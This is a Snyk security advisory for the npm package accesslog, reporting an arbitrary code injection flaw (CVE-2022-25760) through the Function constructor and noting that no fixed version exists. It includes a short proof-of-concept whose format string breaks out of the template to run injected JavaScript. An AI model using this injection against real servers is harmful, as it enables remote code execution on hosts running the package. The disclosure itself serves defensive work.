Arbitrary Code Injection Affecting accesslog package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.25% (64th percentile)

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  • Snyk IDSNYK-JS-ACCESSLOG-2312099
  • published27 Feb 2022
  • disclosed8 Dec 2021
  • creditOmniTaint

Introduced: 8 Dec 2021

CVE-2022-25760  (opens in a new tab)
CWE-94  (opens in a new tab)
First added by Snyk

How to fix?

There is no fixed version for accesslog.

Overview

accesslog is a simple common/combined access log middleware

Affected versions of this package are vulnerable to Arbitrary Code Injection due to the usage of the Function constructor without input sanitization. If (attacker-controlled) user input is given to the format option of the package's exported constructor function, it is possible for an attacker to execute arbitrary JavaScript code on the host that this package is being run on.

PoC

var accesslog = require('accesslog');
var handler = accesslog({
  format: `\\\" + console.log('XSS');//`,
});
var req = {};
var res = {
   end: function() {},
 };
 handler(req, res, function() {});
 res.end();

References

CVSS Scores

version 3.1